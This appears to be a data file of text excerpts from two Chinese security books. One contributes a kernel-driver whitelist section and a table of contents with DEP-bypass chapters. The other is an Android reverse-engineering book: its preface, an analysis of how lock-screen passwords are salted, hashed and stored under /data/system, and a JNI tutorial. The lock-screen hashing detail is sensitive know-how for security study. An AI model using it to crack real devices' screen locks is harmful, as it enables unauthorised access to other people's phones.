    {"text": "21.4.3 白名单机制的挑战 目前有很多安全软件，为了防止病毒木马进入 Ring0 而提高权限，这样已经防止加载驱动 了。 然而为了避免影响第三方驱动的正常运行，安全软件大多开设了白名单机制，在白名单中 的驱动加载时是不会被拦截的。 但是如果白名单中的驱动存在内核漏洞呢？ 虽然病毒木马很难加载他们自己的驱动，但是只要白名单中的驱动存在漏洞，利用漏洞进 行提权等操作，同样可以实现需要的功能，甚至完全瓦解软件的防御体系，这便是 “白名单 机制的挑战”。"},
    {"text": "另一方面，我们还需要对白名单中的驱动进行定期审计，一旦 发现该驱动的漏洞或外部公布了该驱动的漏洞，需要在第一时间通知用户，提供补丁升级服务。"},
    {"text": "Document Outline 0day 第二版fm c关于“zero day attack” 关于“zero day attack” d 自序 自 序 e 再版序 再 版 序 f 前言 前 言 关于安全技术人才 关于“Impossible”与“I’m possible” 关于本书 关于本书源代码及相关文档 关于对读者的要求 关于反馈与提问 致谢 g 内容导读 内容导读 h 目录() 目 录 17 第17章 文件类型漏洞挖掘 与Smart Fuzz 17.1 Smart Fuzz概述 17.1.1 文件格式Fuzz的基本方法 17.1.2 Blind Fuzz和Smart Fuzz 17.2 用Peach挖掘文件漏洞 17.2.1 Peach介绍及安装 17.2.2 XML介绍 17.2.3 定义简单的 Peach Pit 17.2.4 定义数据之间的依存关系 17.2.5 用Peach Fuzz PNG文件 17.3 010脚本，复杂文件解析的瑞士军刀 17.3.1 010 Editor简介 17.3.2 010脚本编写入门 17.3.3 010脚本编写提高——PNG文件解析 17.3.4 深入解析，深入挖掘——PPT文件解析 21 第21章 探索ring0 21.1 内核基础知识介绍 21.1.1 内核概述 21.1.2 驱动编写之Hello World 21.1.3 派遣例程与IRP结构 21.1.4 Ring3打开驱动设备 21.1.5 DeviceIoControl函数与IoControlCode 21.1.6 Ring3/Ring0的四种通信方式 21.2 内核调试入门 21.2.1 创建内核调试环境 21.2.2 蓝屏分析 21.3 内核漏洞概述 21.3.1 内核漏洞的分类 21.3.2 内核漏洞的研究过程 21.4 编写安全的驱动程序 21.4.1 输入输出检查 21.4.2 验证驱动的调用者 21.4.3 白名单机制的挑战 0day 第二版FD 12.pdf 第12章 数据与程序的分水岭：DEP 12.1 DEP机制的保护原理 12.2 攻击未启用DEP的程序 12.3 利用Ret2Libc挑战DEP 12.3.1 Ret2Libc实战之利用ZwSetInformationProcess 12.3.2 Ret2Libc实战之利用VirtualProtect 12.3.3 Ret2Libc实战之利用VirtualAlloc 12.4 利用可执行内存挑战DEP 12.5 利用.NET挑战DEP 12.6 利用Java applet挑战DEP Table of Contents 0day 第二版fm c关于“zero day attack” 关于“zero day attack” d 自序 自 序 e 再版序 再 版 序 f 前言 前 言 关于安全技术人才 关于“Impossible”与“I’m possible” 关于本书 关于本书源代码及相关文档 关于对读者的要求 关于反馈与提问 致谢 g 内容导读 内容导读 h 目录() 目 录 17 第17章 文件类型漏洞挖掘 与Smart Fuzz 17.1 Smart Fuzz概述 17.1.1 文件格式Fuzz的基本方法 17.1.2 Blind Fuzz和Smart Fuzz 17.2 用Peach挖掘文件漏洞 17.2.1 Peach介绍及安装 17.2.2 XML介绍 17.2.3 定义简单的 Peach Pit 17.2.4 定义数据之间的依存关系 17.2.5 用Peach Fuzz PNG文件 17.3 010脚本，复杂文件解析的瑞士军刀 17.3.1 010 Editor简介 17.3.2 010脚本编写入门 17.3.3 010脚本编写提高——PNG文件解析 17.3.4 深入解析，深入挖掘——PPT文件解析 21 第21章 探索ring0 21.1 内核基础知识介绍 21.1.1 内核概述 21.1.2 驱动编写之Hello World 21.1.3 派遣例程与IRP结构 21.1.4 Ring3打开驱动设备 21.1.5 DeviceIoControl函数与IoControlCode 21.1.6 Ring3/Ring0的四种通信方式 21.2 内核调试入门 21.2.1 创建内核调试环境 21.2.2 蓝屏分析 21.3 内核漏洞概述 21.3.1 内核漏洞的分类 21.3.2 内核漏洞的研究过程 21.4 编写安全的驱动程序 21.4.1 输入输出检查 21.4.2 验证驱动的调用者 21.4.3 白名单机制的挑战 0day 第二版FD 12.pdf 第12章 数据与程序的分水岭：DEP 12.1 DEP机制的保护原理 12.2 攻击未启用DEP的程序 12.3 利用Ret2Libc挑战DEP 12.3.1 Ret2Libc实战之利用ZwSetInformationProcess 12.3.2 Ret2Libc实战之利用VirtualProtect 12.3.3 Ret2Libc实战之利用VirtualAlloc 12.4 利用可执行内存挑战DEP 12.5 利用.NET挑战DEP 12.6 利用Java applet挑战DEP"},
    {"text": "未知 Section0001 版权信息 书名：Android应用安全防护和逆向分析 作者：姜维 排版：KK 出版社：机械工业出版社 出版时间：2017-11-01 ISBN：9787111584452 — · 版权所有 侵权必究 · — 未知 对本书的赞誉 移动应用安全已经是个不可忽视的问题，本书结合多个案例进行实际操作讲解，介绍很多实用工具和命令，是一本非常好的安全逆向工具书籍。姜维研究安全逆向这么久，将自身多年的丰富经验用书本的形式展现给读者也是非常不易。我仔细看过这本书，感觉真的很不错，对学习安全逆向的同学很有帮助，值得购买。 ——周鸿祎，360公司创始人、董事长兼CEO，知名天使投资人 本书作者的技术搏客在CSDN上有超过500万人次的总访问量！ 为什么这么多人会关注Android安全技术？因为不仅Android安全技术越来越重要，而且要成为真正的开发高手需要从正反两个方面来学习：从正面学习Android编程类别API，逐层学习App开发，从反面（逆向研究APK代码）学习Android系统如何运行的，其他软件是如何实现特定功能的，这样获得的Android知识更加系统全面。作者在书中有非常详细的案例讲解，也提供了大量的工具源码，是Android开发人员逆向学习研究的极好工具手册，可以帮助Android开发者成为更全面的Android高手。 ——蒋涛，CSDN创始人，极客帮基金创始人 Android系统应用面越来越广，从移动手机到智能硬件，都有很高的覆盖率，其引发的安全问题危害也越来越大。作者以实际操作讲解的同时，还特别重视一些原理的介绍，可以帮助读者快速提升Android安全技术水平。 ——段钢，看雪学院创始人 安全领域是一个冒险的世界，作者结合自己在这个领域的丰富经验，用生动的案例带领读者在这个世界中探险。本书章节安排精心合理，技术点循序渐进，使用了大量带有标注的配图，清晰且直观，属于难得一见的用心之作。 ——泮晓波，顶象技术移动安全实验室负责人、合伙人 本书的作者在信息安全领域的多年经验，加上纯粹的技术分享精神，注定了这是一本值得广大安全爱好者期待的好书，本书完整地向你诠释——掌握了安全技术的底层原理，你就掌握了安全的一切。 ——丰生强（网名：非虫），国内知名安全专家 随着移动应用的普及，移动应用的安全也随之成为一个严肃而重要的问题。要解决该问题所需要学习的内容非常多，对初学者而言，一本合适的入门书籍将起到承前启后的重要作用。而本书就恰恰是这样的一本书籍，它既涵盖了入门者所必须掌握的基础知识，又精选了许多安全领域中的典型实例并对它们开展了详细讲解。最后，希望作者能再接再厉，对本书内容进行持续更新。 ——邓凡平"},
    {"text": "我本来不是从事安全逆向工作的，但是一个偶然的机会使我发现逆向研究非常有趣，因为在逆向出别人的App那一刻会觉得无比自豪。 第一次逆向是因为遇到一个问题需要去解决，记得当时想查看一个App的内部资源信息，尝试使用apktool反编译程序，惊奇地发现原来别人的App反编译之后会有这么多东西，逆向真的很有趣。 而后在开发中无法实现或者没有相应的资源时就去反编译别人的App，查看对应的代码怎么实现。 后来就反编译那些有阻碍的应用，慢慢摸索，克服困难，每研究成功一个案例，便是对自身技能的一次提高。 从第一次使用apktool工具，到使用Jadx可视化工具，再到用IDA工具调试，一步一个脚印走过来，经验逐渐丰富，技能也慢慢提升了。"},
    {"text": "逆向研究需要一种逆向思维，我没有接受过专业训练，只是在业余时间看相关书籍，找几个样本研究，从简单到难，在这个过程中慢慢学到很多技术。"},
    {"text": "第1章通过对Android中锁屏密码加密算法的分析，带领读者进入安全世界，这方面内容不算复杂，但是需要阅读Android源码来得到算法分析，其中一个知识点是如何通过查看Android源码来帮助解决开发过程中遇到的问题，这是所有Android开发人员必备的技能。"},
    {"text": "第3章主要介绍Android中开发以及逆向需要用到的命令，每个命令都有特定的案例和用法，这些命令不仅仅用于逆向，也能够帮助开发人员提升开发效率，所以了解和掌握这些命令是至关重要的。"},
    {"text": "第4～7章主要剖析Android中编译之后的apk包含的四类主要文件格式，这部分内容可能有点枯燥，但是至关重要，因为在安全防护或者逆向分析中都有很重要的意义。"},
    {"text": "第10章介绍Android中的run-as命令以及如何分析系统安全策略，详细介绍了App、shell、system这三种身份，并介绍了一些技巧，比如如何对应用进行升级权限、降低权限等操作。"},
    {"text": "第13章介绍在Android中对apk进行加固的策略，以及如何对恶意者分析apk文件的操作进行防护，还涉及Android中的动态加载机制，并通过动态加载技术实现apk文件的解密功能。 第14章介绍在Android中如何对so文件加固，如何做到安全防护功能。"},
    {"text": "工具篇 工具篇包括第15～19章，主要介绍逆向分析需要用到的几个工具，本书从实际应用出发，详细介绍每个工具的具体用法，特别是在使用的过程中遇到问题时的处理方法。"},
    {"text": "第17章主要介绍Android中一款Hook神器Xposed，详细介绍这个工具的用法，以及遇到问题时的处理方法。 第18章主要介绍一款脱壳工具，它是基于Xposed工具编写的，可以自动脱壳。 第19章主要介绍Android中另外一款Hook神器Cydia Substrate，详细介绍了这个工具的用法以及遇到问题时的处理方法。"},
    {"text": "操作篇 操作篇包括第20～26章，主要介绍Android中的逆向操作技巧，包括静态方式和动态方式逆向，用一个经典的加固应用作为逆向案例分析了现阶段脱壳的大致流程，还介绍了Android开发中会遇到的系统漏洞，并分析了一个经典的病毒样本。"},
    {"text": "第21章主要介绍如何使用Eclipse动态调试smali代码来逆向应用，用一个案例分析整个操作流程。 第22章主要介绍使用IDA工具动态调试so源码，同时也介绍了一些应对反调试检测的方法。 第23章主要介绍如何逆向那些经过加固的应用，用一个案例详细介绍了每一步操作，最后总结了现在脱壳操作的大致流程。 第24章主要总结之前介绍的逆向知识，用一个经典案例作为收尾，讲解了现阶段逆向应用的大体流程和思路。"},
    {"text": "有的读者可能会觉得第1章内容就有点深，本书第1章的目的在于把读者带入安全世界，看不懂没关系，可以从第2章开始看下去，毕竟应用开发领域和安全逆向领域有很多不一样的地方。"},
    {"text": "本书最大的特点在于非常实用，用案例讲解详细操作步骤，跟着每一步具体操作，才能真正看明白。 可以把本书作为一本参考书，没看懂不要急，多操作几遍试试。 欢迎联系我 本书用到了很多工具和案例样本、代码，几乎所有代码都给出了具体下载地址，如果在操作过程中发现下载失败或者链接失效，请联系我，可以加我的微信peter_jw212，也可以关注微信公众号“编码美丽”进行留言，或者访问我的博客http://blog.csdn.net/jiangwei0910410003，以及我的个人网站http://www.wjdiankong.cn。"},
    {"text": "所以本书选择了最基本的入门技术进行讲解，因为只有掌握了这些技术，才能继续学习并产生灵感来应对日后变化的技术。 我认为最基本的入门技术也是最重要的技术。"},
    {"text": "未知 基础篇 第1章 Android中锁屏密码加密算法分析 第2章 Android中NDK开发 第3章 Android中开发与逆向常用命令总结 第4章 so文件格式解析 第5章 AndroidManifest.xml文件格式解析 第6章 resource.arsc文件格式解析 第7章 dex文件格式解析 未知 第1章 Android中锁屏密码加密算法分析 为了安全，Android设备在解锁屏幕时会有密码输入，那么这个密码存放在哪里？是否为明文存储？如果是加密存储，那么加密算法是什么？这就是本章要介绍的内容。本章的目的是带领读者踏入移动安全的大门。 未知 1.1 锁屏密码方式 Android中现在支持的锁屏密码主要有两种：一种是手势密码，也就是常见的九宫格密码图；一种是输入密码，分为PIN密码和复杂字符密码，而PIN密码就是数字密码，比较简单。当然现在也有一个高级的指纹密码，这不是本章分析的范围，本章只分析手势密码和输入密码。"},
    {"text": "未知 1.2 密码算法分析 在设置锁屏密码界面，用工具获取当前的View类，然后一步一步跟入，最终会跟到一个锁屏密码工具类：LockPatternUtils.java。每个版本可能实现逻辑不一样，这里用5.1版本的源码进行分析。 1.2.1 输入密码算法分析 找到源码之后，首先来分析一下输入密码算法： 可以看到有一个方法passwordToHash，参数为用户输入的密码和当前用户对应的id，一般设备不会有多个用户，所以这里的userId是默认值0。下面就是最为核心的加密算法了：原文密码+设备的salt值，然后分别进行MD5和SHA-1操作，转化成hex值再次拼接，得到的就是最终保存到本地的加密密码内容。而这里最重要的是如何获取设备对应的salt值，这可以一步一步跟踪代码： 查看getSalt方法，首先根据字段key为lockscreen.password_salt从一个地方获取salt值，如果发现这个值为0，就随机生成一个，然后将其保存到那个地方，最后将salt转化成hex值即可。现在需要找到这个地方，继续跟踪代码： 猜想应该是保存到一个数据库中了，继续跟踪代码： 通过在ServiceManager中获取一个服务来进行操作，在Android中，像这种获取服务的方式最终实现逻辑都是在XXXService类中，这里是LockSettingsService.java类，找到这个类，查看它的getLong方法： 其实到这里就可以看出，非常肯定是数据库中保存的，继续跟踪代码： 果然发现是保存到一个数据库中，继续查看LockSettingsStorage.java类： 看到了，数据库名字叫作locksettings.db，那么它保存在哪里呢？继续看这个类： 可以看到有两个key文件，它们就是用来保存加密之后的手势密码和输入密码的，将信息保存到本地，下次开机解锁需要读取这个文件内容进行密码比对。看到一个目录是system，所以数据库和这两个key文件很可能保存到目录/data/system/下了，为了再证实一下，直接用find命令去根目录下搜索这个数据库文件也是可以的。最终确定是该目录： 这里可能会提示找不到find命令，这时需要安装busybox工具，才能使用这个命令。找到这个数据库文件就好办了，直接取出来，然后用SQLite工具进行查看即可，当然也可以直接在手机中查看。为了方便还是取出来看，如图1-1所示。 图1-1 数据库信息 这里看到了表格字段，并且获取到这个值了，那么下面就要用这个值来验证上面的分析是否正确。首先给设备设置一个简单的输入密码，这里直接输入简单的“1234”，然后会在/data/system目录下生成一个密码加密key文件/data/system/password.key，将该文件导出来，如图1-2所示。 图1-2 加密文件 下面就用简单的Java代码手动实现这个算法，看看分析是否正确。加密算法不用自己写，直接从上面的源码中拷贝出来就可以了。代码如下： 这里的salt值是我们从数据库中得到的，不过要记得进行hex转化： 然后用“1234”原文密码去生成加密之后的信息： 运行结果如图1-3所示。 图1-3 运行结果 可以发现内容和上面的password.key内容完全一致，也就验证了上面的分析完全正确。到这里就分析完了输入密码的加密算法，总结一点就是：MD5（输入明文密码+设备的salt）.Hex+SHA1（输入明文密码+设备的salt）.Hex就是最终的加密内容。而这里最重要的是如何获取设备的salt值，可以用反射机制进行获取，新建一个简单的Android项目： 这样就不用去查看数据库获取salt值了，方便快捷，打印的日志信息如下： 这是数据库中的long类型值转化成hex之后的值。 1.2.2 手势密码算法分析 下面来分析手势密码，代码依然在LockPatternUtils.java中： 这个算法比较简单，就是九宫格图案转化成字节数组，然后用SHA1加密即可。关于九宫格不再多说了，从0开始顺时针计数到8，类似图1-4所示。 图1-4 九宫格 看一下代码，有行和列之分。比如L形状的手势密码应该是00 03 06 07 08，这样组成五个字节。这里为了验证手势密码是否正确，设置一个简单的手势密码，如图1-5所示。 图1-5 简单的手势密码 然后在/data/system目录下生成一个密码文件/data/system/gesture.key，取出来用二进制工具查看，不然可能看到的是乱码，这里用的是010Editor工具查看，如图1-6所示。 图1-6 手势密码加密内容 为了最大化地还原算法，依然把源码拷贝出来，然后定义一个手势九宫格类，构造出这个手势的点数据： 这是源码的加密算法，下面再构造出手势点数据： 手势点数据应该是00 01 02 05 08，打印看结果，如图1-7所示。 图1-7 运行结果 从运行结果发现，一模一样，这样就完美地分析完了手势密码加密算法。 这里再总结一下两种方式锁屏密码算法。 第一种：输入密码算法 对输入的明文密码+设备的salt值进行MD5和SHA1操作，之后转化成hex值进行拼接即可，最终加密信息保存到本地目录/data/system/password.key。 第二种：手势密码算法 将九宫格手势密码中的点数据转化成对应的字节数组，然后直接进行SHA1加密即可。最终加密信息保存到本地目录/data/system/gesture.key。 未知 1.3 本章小结 读完本章是不是迫不及待地想动手尝试一下？在操作之前一定要记住，先得到设备的salt值，然后要注意源码版本。"},
    {"text": "未知 第2章 Android中NDK开发 本章主要介绍Android中的NDK开发技术相关知识，因为后续章节特别是在介绍安全应用防护和逆向应用的时候，会涉及NDK的相关知识，而且考虑到项目的安全性开发，把一些重要的代码放到底层也是很重要的，同时能提高执行效率。 未知 2.1 搭建开发环境 在搭建环境之前必须先去官网下载NDK工具包，官网地址是 http://wear.techbrood.com/tools/sdk/ndk/ ，选择相应平台的NDK版本即可。 2.1.1 Eclipse环境搭建 第一步： 配置NDK路径，如图2-1所示。 图2-1 配置NDK路径 第二步： 新建Android项目，如图2-2所示。 图2-2 新建Android项目 点击Add Native Support，出现如图2-3所示的lib命令。 点击“Finish”，再次观察项目多了jni文件夹，如图2-4所示。 图2-3 命令lib 图2-4 添加了jni文件夹 在jni下面就可以开始编写native层的代码。 第三步： 使用javah生成native的头文件，如图2-5所示。 图2-5 生成native头文件 注意： javah执行的目录，必须是类包名路径的最上层，然后执行： 注意没有后缀名java。 第四步： 运行项目，点击工具栏中的小锤子图标如图2-6所示。 图2-6 运行项目 运行结果如图2-7所示。 图2-7 运行结果 2.1.2 Android Studio环境搭建 去官网下载NDK工具，然后使用Android Studio中进行新建一个简单项目，然后创建JNI即可，如图2-8所示。 图2-8 创建jni 第一步： 在项目中新建jni目录，如图2-9所示。 第二步： 用javah命令生成native的头文件，如图2-10所示。 第三步： 配置项目的NDK目录，如图2-11所示。 图2-9 新建jni目录 图2-10 生成native头文件 图2-11 配置NDK目录 选择模块的设置选项Open Module Settings，如图2-12所示。 图2-12 模块的设置选项 在其中设置NDK目录即可。 第四步： 配置Gradle中的ndk选项，如图2-13所示。 图2-13 配置gradle 这里只需要设置编译之后的模块名，即so文件的名称，以及产生哪几个平台下的so文件，需要用到的lib库，这里用到了Android中打印log的库文件。 第五步： 编译运行生成so文件 在build目录下生成指定的so文件，拷贝到项目的libs目录下即可，如图2-14所示。 图2-14 项目的libs目录"},
    {"text": "未知 2.2 第一行代码：HelloWorld 本节开始介绍JNI技术，先输出一个Hello World。具体流程如下，在Java中定义一个方法，在C++中实现这个方法，在方法内部输出“Hello World”，然后再回到Java中进行调用。 第一步： 在Eclipse中建立一个类：JNIDemo。 命令如下： 其中sayHello就是要在C++中实现的方法。 第二步： 使用javah命令将JNIDemo生成.h的头文件。 命令如下： 注意： ·首先要确保配置了Java的环境变量，不然javah命令不能用。 ·案例的Java项目是放在E：\\workspace中的，所以首先进入项目的bin目录中，然后使用javah命令生成头文件。 ·javah后面的类文件格式是类的全名（包名+class文件名），同时不能有.class后缀。 命令执行成功后会在bin目录中生成头文件com_jni_demo_JNIDemo.h，参见图2-15。 图2-15 javah命令参数说明 注意： 如果包含native方法的类，引用其他地方的类，那么进入bin\\classes\\目录下会出现问题提示找不到指定的类，这时候需要切换到源码目录src下运行即可。 第三步： 使用VC6.0生成.dll文件。 首先创建一个dll工程，如图2-16～图2-18所示。 在.cpp文件中输入如下代码： 图2-16 VC6.0生成.dll文件 图2-17 VC6.0生成.dll文件 图2-18 VC6.0生成.dll文件 这个方法的声明可以在上面生成的com_jni_demo_JNIDemo.h头文件中找到，这个就是Java工程中的sayHello方法的实现： 这里编译会出现以下几个问题： 1）会提示找不到相应的头文件，如图2-19所示。这时需要将jni.h、jni_md.h文件拷贝到工程目录中，这两个文件的具体位置参见图2-20。 Java安装目录中的include文件夹下，jni_md.h文件在win32文件夹中，找到这两个文件后，将其拷贝到C++的工程目录中。 图2-19 编译之后的头文件 图2-20 jni.h文件 2）当拷贝到这两个文件之后，编译还是提示找不到这两个文件：主要原因是#include<jni.h>是从系统目录中查找jni.h头文件的，而这里只把jni.h拷贝到工程目录中，所以需要在com_jni_demo_JNIDemo.h头文件中将#include<jni.h>改成#include\"jni.h\"。同理，在jni.h文件中将#include<jni_md.h>改成#include\"jni_md.h\"。 3）同时还有一个错误提示：e：\\c++\\jnidemo\\jnidemo.cpp（9）：fatal error C1010：unexpected end of file while looking for precompiled header directive，这是指预编译头文件读写错误，这时候还要在VC中进行设置：项目→设置→C/C++。在分类中选择预编译的头文件，选择不使用预补偿页眉，如图2-21所示。 这样，编译成功，生成JNIDemo.dll文件在C++工程中的Debug目录中。 注意： 因为之前开发都是使用VC工具，所以这里使用了VC 6.0来进行C++代码的编写和运行，其实可以直接使用Eclipse或在Android Studio中也可以进行编写，这样会更方便。 第四步： 将JNIDemo.dll文件添加到环境变量中，如图2-22所示。 注意： 在用户变量中的path设置，用分号隔开：“；E：\\C++\\Debug”，这样就将.dll文件添加到环境变量中了。 第五步： 在Eclipse中调用sayHello方法，输出“Hello World”。代码如下： 图2-21 预编译头文件 图2-22 将JNIDemo.dll文件添加到环境变量中 System.loadLibrary方法是加载JNIDemo.dll文件的，一定要注意不要有.dll后缀名，只需要文件名即可。 注意，运行的时候会报错，如图2-23所示。 图2-23 运行错误 这个提示是没有找到JNIDemo.dll文件，这时需要关闭Eclipse，然后再打开，运行就没有错了。原因是Eclipse每次打开的时候都会去读取环境变量的配置，刚才配置的path没有立即生效，所以要关闭Eclipse，然后重新打开一次即可。 注意： 这里因为使用了VC编辑器进行native代码的编写，所以需要配置dll文件操作，但是现在更多的是习惯直接在Eclipse/Android Studio中配置C++环境直接编写了，这样更方便。"},
    {"text": "未知 2.3 JNIEnv类型和jobject类型 上一节介绍的是一个简单的应用，说明JNI是怎么工作的，这一节介绍本地方法sayHello的参数及其使用。 首先来看一下C++中的sayHello方法的实现： 2.3.1 JNIEnv类型 JNIEnv类型实际上代表了Java环境，通过JNIEnv*指针就可以对Java端的代码进行操作。例如，创建Java类中的对象，调用Java对象的方法，获取Java对象中的属性等。 JNIEnv类中有很多函数可以用，如下所示： ·NewObject：创建Java类中的对象。 ·NewString：创建Java类中的String对象。 ·New<Type>Array：创建类型为Type的数组对象。 ·Get<Type>Field：获取类型为Type的字段。 ·Set<Type>Field：设置类型为Type的字段的值。 ·GetStatic<Type>Field：获取类型为Type的static的字段。 ·SetStatic<Type>Field：设置类型为Type的static的字段的值。 ·Call<Type>Method：调用返回类型为Type的方法。 ·CallStatic<Type>Method：调用返回值类型为Type的static方法。 更多的函数使用可以查看jni.h文件中的函数名称。 2.3.2 jobject参数obj 如果native方法不是static，obj就代表native方法的类实例。 如果native方法是static，obj就代表native方法的类的class对象实例（static方法不需要类实例的，所以就代表这个类的class对象）。 2.3.3 Java类型和native中的类型映射关系 Java和C++中的基本类型的映射关系参见表2-1。 表2-1 Java和C++中的基本类型的映射关系 具体的说明可以查看jni.h文件。 2.3.4 jclass类型 为了能够在C/C++中使用Java类，jni.h头文件中专门定义了jclass类型来表示Java中的Class类。 JNIEnv类中有如下几个简单的函数可以取得jclass： ·jclass FindClass（const char*clsName）：通过类的名称（类的全名，这时候包名不是用点号而是用/来区分的）来获取jclass。如：jclass str=env->FindClass（\"java/lang/String\"）；获取Java中的String对象的class对象。 ·jclass GetObjectClass（jobject obj）：通过对象实例来获取jclass，相当于Java中的getClass方法。 ·jclass GetSuperClass（jclass obj）：通过jclass可以获取其父类的jclass对象。 2.3.5 native中访问Java层代码 在C/C++本地代码中访问Java端的代码，一个常见的应用就是获取类的属性和调用类的方法，为了在C/C++中表示属性和方法，JNI在jni.h头文件中定义了jfieldId、jmethodID类型来分别代表Java端的属性和方法。在访问或者设置Java属性的时候，首先就要先在本地代码取得代表该Java属性的jfieldID，然后才能在本地代码中进行Java属性操作，同样，需要调用Java端的方法时，也是需要取得代表该方法的jmethodID才能进行Java方法调用。 使用JNIEnv的如下方法： ·GetFieldID/GetMethodID ·GetStaticFieldID/GetStaticMethodID 来取得相应的jfieldID和jmethodID。 下面来具体看一下这几个方法。 GetFieldID方法如下： 方法的参数说明： ·clazz：这个方法依赖的类对象的class对象。 ·name：这个字段的名称。 ·sign：这个字段的签名（每个变量，每个方法都是有签名的）。 怎么查看类中的字段和方法的签名呢？使用javap命令，如下所示。 GetMethodID也能够取得构造函数的jmethodID，创建一个Java对象时可以调用指定的构造方法，后续将向大家介绍，如： 签名的格式见表2-2。 表2-2 签名的格式 下面来看一例子： 上面的native代码中，首先取得property字段，因为property字段是int类型的，所以在签名中传入“I”，取得方法function的ID时： 签名为（Iljava/util/Date；[I）I。 关于GetStaticFieldID/GetStaticMethodID这两个方法的用法大同小异，区别在于这两个方法是获取静态字段和方法的ID。"},
    {"text": "未知 2.4 JNIEnv类型中方法的使用 前面说到JNIEnv类型，下面通过例子来看一下这些方法的使用。第一个例子是在Java代码中定义一个属性，然后再从C++代码中将其设置成另外的值，并且输出来。 2.4.1 native中获取方法的Id 先来看一下Java代码： 再来看一下C++代码： 编译成功后，在Eclipse运行后的结果如图2-24所示。 图2-24 运行成功效果图 第一个0是在C++代码中的cout<<number<<endl。 第二个100是在Java中的System.out.println（jniDemo.number）。 JNIEnv提供了众多的Call<Type>Method和CallStatic<Type>Method，还有CallNonvirtual<Type>Method函数，需要通过GetMethodID取得相应方法的jmethodID来传入到上述函数的参数中。 调用示例方法的三种形式如下： 第一种是最常用的方式。第二种是当调用这个函数的时候有一个指向参数表的va_list变量时使用的（很少使用）。第三种是当调用这个函数的时候有一个指向jvalue或jvalue数组的指针时用的。 jvalue在jni.h头文件中定义是一个union联合体，在C/C++中，union可以存放不同类型的值，但是当你给其中一个类型赋值之后，这个union就是这种类型了，比如你给jvalue中的s赋值的话，jvalue就变成了jshort类型了，所以可以定义一个jvalue数组（这样就可以包含多种类型的参数了）传递到方法中，如下所示： 假如现在Java中有这样的一个方法： 1）在C++中使用第一种方式调用function方法： obj是方法funtion的对象。id_function是方法function的id，可以通过GetMethodID（）方法获取。然后就是对应的参数，这和Java中的可变参数类似。最后一个char类型的参数L'a'为什么前面要加一个L呢？原因是Java中的字符是Unicode双字节的，而C++中的字符是单字节的，所以要变成宽字符，即前面加一个L。 2）在C++中使用第三种方式调用function方法： 例子：C++中调用Java中的方法。 Java代码如下： 这时候用javap获取max方法的签名，如下所示。 max方法的签名是（DD）D。在C++中的代码如下： 编译成动态文件后，到Eclipse中执行sayHello方法，运行结果如图2-25所示。 图2-25 运行成功效果图 可见，成功地输出了最大值。 2.4.2 Java和C++中的多态机制 JNIEnv中有一个特殊的方法CallNonvirtual<Type>Method，如下所示： 首先来了解一下，上面调用的function是子类的function方法，但是在C++中就不一样了： 这段C++代码中执行的是父类的function方法，如果想执行子类的function方法怎么办呢？就需要将父类的function方法定义成virtual虚函数： 所以，C++和Java对于继承后执行的是父类还是子类的方法是有区别的，在Java中所有的方法都是虚拟的，所以总是调用子类的方法，因此CallNonVirtual<Type>Method方法就出来了，这个方法可以帮助调用Java中父类的方法。 在JNI中定义的CallNonvirtual<Type>Method能够实现子类对象调用父类方法的功能，如果想要调用一个对象的父类方法，而不是子类的方法，就可以使用CallNonvirtual<Type>Method。要使用它，首先要获得父类及其要调用的父类方法的jmethodID，然后传入到这个函数就能通过子类对象调用被覆写的父类方法了。 例如：在Java中定义Father类： 定义一个子类Child，继承Father类，重写父类中的function方法： 在JNIDemo代码，定义Father类型的属性： 再来看一下C++中的代码： 编译成功.dll文件，回到Eclipse中运行结果参如图2-26所示。 图2-26 运行结果 其中： ·Child：function是调用env->CallVoidMethod（...）方法的。 ·Father：function是调用env->CallNonvirtualMethod（...）方法的。 这样就能够控制到底调用哪个类的function方法了。"},
    {"text": "想要获取方法的id，就需要方法的签名，因为构造方法没有返回值，所以认为类的默认构造方法的返回值类型的签名始终是“（）V”（因为默认的构造方法是没有参数的），方法的名称始终为“<init>”。"},
    {"text": "图2-27 运行结果 第二种方法创建Java对象 用AllocObject函数创建一个对象，可以根据传入的jclass创建一个Java对象，但是状态是非初始化的，在这个对象之前绝对要用CallNonvirtualVoidMethod来调用该jclass的构造函数，这样就可以延迟构造函数的调用。"},
    {"text": "Java通过JNI接口可以将Java的字符串转换到C/C++中的宽字符串（wchar_t*），或传回一个UTF-8的字符串（char*）到C/C++； 反过来，C/C++可以通过一个宽字符串，或一个UTF-8编码的字符串来创建一个Java端的String对象。"},
    {"text": "1）获取字符串的长度： 参数j_msg是一个jstring对象。 2）将jstring对象拷贝到const jchar*指针字符串： 这是在Java 1.2出来的函数，这个函数把Java字符串的内容直接拷贝到C/C++的字符串数组中，在调用这个函数之前必须有一个C/C++分配出来的字符串（具体看下面的例子），然后传入到这个函数中进行字符串的拷贝。"},
    {"text": "由于C/C++中分配内存开销相对小，而且Java中的String内容拷贝的开销可以忽略，更好的一点是此函数不分配内存，不会抛出OutOfMemoryError异常。"},
    {"text": "3）生成一个jstring对象： 参数：jstr是字符串指针，size是字符串长度。 这个方法可以认为是将字符串指针jstr转换成字符串对象jstring。 4）将jstring对象转换成const jchar*字符串指针。"},
    {"text": "·copied是指传入的是一个jboolean指针，用来标识是否对Java的String对象进行了拷贝，如果传入的这个jboolean指针不是NULL，则它会给该指针所指向的内存传入JNI_TRUE或JNI_FALSE标识是否进行了拷贝，传入NULL表示不关心是否拷贝字符串，也就不会给jboolean*指向的内存赋值。"},
    {"text": "参数的含义和GetStringChars方法是一样的。 这个方法也有对应的一个释放内存的方法： 参数的含义和上面的ReleaseStringChars方法的参数的含义是一样的。"},
    {"text": "提示： 这两个函数分别都会有两个不同的动作： ·开辟一个新内存，然后在Java中的String拷贝到这个内存中，然后返回指向这个内存地址的指针。 ·直接返回指向Java中String的内存的指针，这个时候千万不要改变这个内存的内容，这个将会破坏String在Java中始终是常量的这个原则。"},
    {"text": "这个方法的作用是为了增加直接传回指向Java字符串的指针的可能性（而不是拷贝），JDK 1.2出来了新的函数GetStringCritical/ReleaseStringCritical。 在GetStringCritical/ReleaseStringCritical之间是一个关键区，在这个关键区域之间不能调用JNI的其他函数，否则将造成关键区代码执行期间垃圾回收器停止运作，任何触发垃圾回收器的线程也会暂停，其他的触发垃圾回收器的线程不能前进直到当前线程结束而激活垃圾回收器。"},
    {"text": "不支持GetStringUTFCritical，没有这样的函数，由于Java字符串用的是UTF-16，要转成UTF-8编码的字符串始终需要进行一次拷贝，所以没有这样的函数。"},
    {"text": "其对应的释放内存指针的方法如下： 下面来看一下实例：在Java中定义一个String属性，通过控制台输入值，然后定义一个本地方法callCppFunction，在C++中这个方法的实现就是：获取到Java中这个字符串属性，将其进行倒序操作，然后再从Java中输出。"},
